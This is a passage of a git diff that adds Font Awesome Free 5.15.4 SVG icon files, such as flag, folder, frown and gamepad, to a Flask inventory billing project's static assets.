24.3 8 56c0 19 9.5 35.8 24 45.9V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24v-94.4c28.3-12.1 63.6-22.1 114.4-22.1 53.6 0 97.8 34.8 165.2 34.8 48.2 0 86.7-16.3 122.5-40.9 8.7-6 13.8-15.8 13.8-26.4V95.9c.1-23.3-24.2-38.8-45.4-29zM169.6 325.5c-25.8 2.7-50 8.2-73.6 16.6v-70.5c26.2-9.3 47.5-15 73.6-17.4zM464 191c-23.6 9.8-46.3 19.5-73.6 23.9V286c24.8-3.4 51.4-11.8 73.6-26v70.5c-25.1 16.1-48.5 24.7-73.6 27.1V286c-27 3.7-47.9 1.5-73.6-5.6v67.4c-23.9-7.4-47.3-16.7-73.6-21.3V258c-19.7-4.4-40.8-6.8-73.6-3.8v-70c-22.4 3.1-44.6 10.2-73.6 20.9v-70.5c33.2-12.2 50.1-19.8 73.6-22v71.6c27-3.7 48.4-1.3 73.6 5.7v-67.4c23.7 7.4 47.2 16.7 73.6 21.3v68.4c23.7 5.3 47.6 6.9 73.6 2.7V143c27-4.8 52.3-13.6 73.6-22.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flag-usa.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flag-usa.svg new file mode 100644 index 00000000..d29fe6ee --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flag-usa.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32 0C14.3 0 0 14.3 0 32v464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32C64 14.3 49.7 0 32 0zm267.9 303.6c-57.2-15.1-111.7-28.8-203.9 11.1V384c185.7-92.2 221.7 53.3 397.5-23.1 11.4-5 18.5-16.5 18.5-28.8v-36c-43.6 17.3-80.2 24.1-112.1 24.1-37.4-.1-68.9-8.4-100-16.6zm0-96c-57.2-15.1-111.7-28.8-203.9 11.1v61.5c94.8-37.6 154.6-22.7 212.1-7.6 57.2 15.1 111.7 28.8 203.9-11.1V200c-43.6 17.3-80.2 24.1-112.1 24.1-37.4 0-68.9-8.3-100-16.5zm9.5-125.9c51.8 15.6 97.4 29 202.6-20.1V30.8c0-25.1-26.8-38.1-49.4-26.6C291.3 91.5 305.4-62.2 96 32.4v151.9c94.8-37.5 154.6-22.7 212.1-7.6 57.2 15 111.7 28.7 203.9-11.1V96.7c-53.6 23.5-93.3 31.4-126.1 31.4s-59-7.8-85.7-15.9c-4-1.2-8.1-2.4-12.1-3.5V75.5c7.2 2 14.3 4.1 21.3 6.2zM160 128.1c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16-7.2 16-16 16zm0-55.8c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm64 47.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm0-55.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flag.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flag.svg new file mode 100644 index 00000000..e28f3d52 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flag.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M349.565 98.783C295.978 98.783 251.721 64 184.348 64c-24.955 0-47.309 4.384-68.045 12.013a55.947 55.947 0 0 0 3.586-23.562C118.117 24.015 94.806 1.206 66.338.048 34.345-1.254 8 24.296 8 56c0 19.026 9.497 35.825 24 45.945V488c0 13.255 10.745 24 24 24h16c13.255 0 24-10.745 24-24v-94.4c28.311-12.064 63.582-22.122 114.435-22.122 53.588 0 97.844 34.783 165.217 34.783 48.169 0 86.667-16.294 122.505-40.858C506.84 359.452 512 349.571 512 339.045v-243.1c0-23.393-24.269-38.87-45.485-29.016-34.338 15.948-76.454 31.854-116.95 31.854z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flask.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flask.svg new file mode 100644 index 00000000..3cc94ee8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flask.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M437.2 403.5L320 215V64h8c13.3 0 24-10.7 24-24V24c0-13.3-10.7-24-24-24H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h8v151L10.8 403.5C-18.5 450.6 15.3 512 70.9 512h306.2c55.7 0 89.4-61.5 60.1-108.5zM137.9 320l48.2-77.6c3.7-5.2 5.8-11.6 5.8-18.4V64h64v160c0 6.9 2.2 13.2 5.8 18.4l48.2 77.6h-172z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flushed.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flushed.svg new file mode 100644 index 00000000..666ff1b5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/flushed.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M344 200c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-192 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM80 224c0-39.8 32.2-72 72-72s72 32.2 72 72-32.2 72-72 72-72-32.2-72-72zm232 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-104c-39.8 0-72-32.2-72-72s32.2-72 72-72 72 32.2 72 72-32.2 72-72 72z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder-minus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder-minus.svg new file mode 100644 index 00000000..4d22ac10 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder-minus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm-96 168c0 8.84-7.16 16-16 16H160c-8.84 0-16-7.16-16-16v-16c0-8.84 7.16-16 16-16h192c8.84 0 16 7.16 16 16v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder-open.svg new file mode 100644 index 00000000..99729c8c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M572.694 292.093L500.27 416.248A63.997 63.997 0 0 1 444.989 448H45.025c-18.523 0-30.064-20.093-20.731-36.093l72.424-124.155A64 64 0 0 1 152 256h399.964c18.523 0 30.064 20.093 20.73 36.093zM152 224h328v-48c0-26.51-21.49-48-48-48H272l-64-64H48C21.49 64 0 85.49 0 112v278.046l69.077-118.418C86.214 242.25 117.989 224 152 224z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder-plus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder-plus.svg new file mode 100644 index 00000000..c0a51743 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder-plus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464,128H272L208,64H48A48,48,0,0,0,0,112V400a48,48,0,0,0,48,48H464a48,48,0,0,0,48-48V176A48,48,0,0,0,464,128ZM359.5,296a16,16,0,0,1-16,16h-64v64a16,16,0,0,1-16,16h-16a16,16,0,0,1-16-16V312h-64a16,16,0,0,1-16-16V280a16,16,0,0,1,16-16h64V200a16,16,0,0,1,16-16h16a16,16,0,0,1,16,16v64h64a16,16,0,0,1,16,16Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder.svg new file mode 100644 index 00000000..f9058b08 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/folder.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/font-awesome-logo-full.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/font-awesome-logo-full.svg new file mode 100644 index 00000000..0672ac84 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/font-awesome-logo-full.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 3992 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/font.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/font.svg new file mode 100644 index 00000000..83564cc5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/font.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M432 416h-23.41L277.88 53.69A32 32 0 0 0 247.58 32h-47.16a32 32 0 0 0-30.3 21.69L39.41 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-19.58l23.3-64h152.56l23.3 64H304a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM176.85 272L224 142.51 271.15 272z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/football-ball.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/football-ball.svg new file mode 100644 index 00000000..c52da6a1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/football-ball.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M481.5 60.3c-4.8-18.2-19.1-32.5-37.3-37.4C420.3 16.5 383 8.9 339.4 8L496 164.8c-.8-43.5-8.2-80.6-14.5-104.5zm-467 391.4c4.8 18.2 19.1 32.5 37.3 37.4 23.9 6.4 61.2 14 104.8 14.9L0 347.2c.8 43.5 8.2 80.6 14.5 104.5zM4.2 283.4L220.4 500c132.5-19.4 248.8-118.7 271.5-271.4L275.6 12C143.1 31.4 26.8 130.7 4.2 283.4zm317.3-123.6c3.1-3.1 8.2-3.1 11.3 0l11.3 11.3c3.1 3.1 3.1 8.2 0 11.3l-28.3 28.3 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-22.6 22.7 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L248 278.6l-22.6 22.6 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-28.3 28.3c-3.1 3.1-8.2 3.1-11.3 0l-11.3-11.3c-3.1-3.1-3.1-8.2 0-11.3l28.3-28.3-28.3-28.2c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 28.3-28.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/forward.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/forward.svg new file mode 100644 index 00000000..16ce912e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/forward.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M500.5 231.4l-192-160C287.9 54.3 256 68.6 256 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2zm-256 0l-192-160C31.9 54.3 0 68.6 0 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/frog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/frog.svg new file mode 100644 index 00000000..b5c8592c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/frog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M446.53 97.43C439.67 60.23 407.19 32 368 32c-39.23 0-71.72 28.29-78.54 65.54C126.75 112.96-.5 250.12 0 416.98.11 451.9 29.08 480 64 480h304c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-79.49l35.8-48.33c24.14-36.23 10.35-88.28-33.71-106.6-23.89-9.93-51.55-4.65-72.24 10.88l-32.76 24.59c-7.06 5.31-17.09 3.91-22.41-3.19-5.3-7.08-3.88-17.11 3.19-22.41l34.78-26.09c36.84-27.66 88.28-27.62 125.13 0 10.87 8.15 45.87 39.06 40.8 93.21L469.62 480H560c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-53.63l-98.52-104.68 154.44-86.65A58.16 58.16 0 0 0 576 189.94c0-21.4-11.72-40.95-30.48-51.23-40.56-22.22-98.99-41.28-98.99-41.28zM368 136c-13.26 0-24-10.75-24-24 0-13.26 10.74-24 24-24 13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/frown-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/frown-open.svg new file mode 100644 index 00000000..a2f4a6e7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/frown-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm187.3 183.3c-31.2-9.6-59.4-15.3-75.3-15.3s-44.1 5.7-75.3 15.3c-11.5 3.5-22.5-6.3-20.5-18.1 7-40 60.1-61.2 95.8-61.2s88.8 21.3 95.8 61.2c2 11.9-9.1 21.6-20.5 18.1zM328 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/frown.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/frown.svg new file mode 100644 index 00000000..6b023478 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/frown.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm170.2 218.2C315.8 367.4 282.9 352 248 352s-67.8 15.4-90.2 42.2c-13.5 16.3-38.1-4.2-24.6-20.5C161.7 339.6 203.6 320 248 320s86.3 19.6 114.7 53.8c13.6 16.2-11 36.7-24.5 20.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/funnel-dollar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/funnel-dollar.svg new file mode 100644 index 00000000..f2399485 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/funnel-dollar.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M433.46 165.94l101.2-111.87C554.61 34.12 540.48 0 512.26 0H31.74C3.52 0-10.61 34.12 9.34 54.07L192 256v155.92c0 12.59 5.93 24.44 16 32l79.99 60c20.86 15.64 48.47 6.97 59.22-13.57C310.8 455.38 288 406.35 288 352c0-89.79 62.05-165.17 145.46-186.06zM480 192c-88.37 0-160 71.63-160 160s71.63 160 160 160 160-71.63 160-160-71.63-160-160-160zm16 239.88V448c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V256c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.04 44.44-42.67 45.07z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/futbol.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/futbol.svg new file mode 100644 index 00000000..3491d939 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/futbol.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-48 0l-.003-.282-26.064 22.741-62.679-58.5 16.454-84.355 34.303 3.072c-24.889-34.216-60.004-60.089-100.709-73.141l13.651 31.939L256 139l-74.953-41.525 13.651-31.939c-40.631 13.028-75.78 38.87-100.709 73.141l34.565-3.073 16.192 84.355-62.678 58.5-26.064-22.741-.003.282c0 43.015 13.497 83.952 38.472 117.991l7.704-33.897 85.138 10.447 36.301 77.826-29.902 17.786c40.202 13.122 84.29 13.148 124.572 0l-29.902-17.786 36.301-77.826 85.138-10.447 7.704 33.897C442.503 339.952 456 299.015 456 256zm-248.102 69.571l-29.894-91.312L256 177.732l77.996 56.527-29.622 91.312h-96.476z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gamepad.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gamepad.svg new file mode 100644 index 00000000..98d4dc96 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gamepad.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480.07 96H160a160 160 0 1 0 114.24 272h91.52A160 160 0 1 0 480.07 96zM248 268a12 12 0 0 1-12 12h-52v52a12 12 0 0 1-12 12h-24a12 12 0 0 1-12-12v-52H84a12 12 0 0 1-12-12v-24a12 12 0 0 1 12-12h52v-52a12 12 0 0 1 12-12h24a12 12 0 0 1 12 12v52h52a12 12 0 0 1 12 12zm216 76a40 40 0 1 1 40-40 40 40 0 0 1-40 40zm64-96a40 40 0 1 1 40-40 40 40 0 0 1-40 40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using 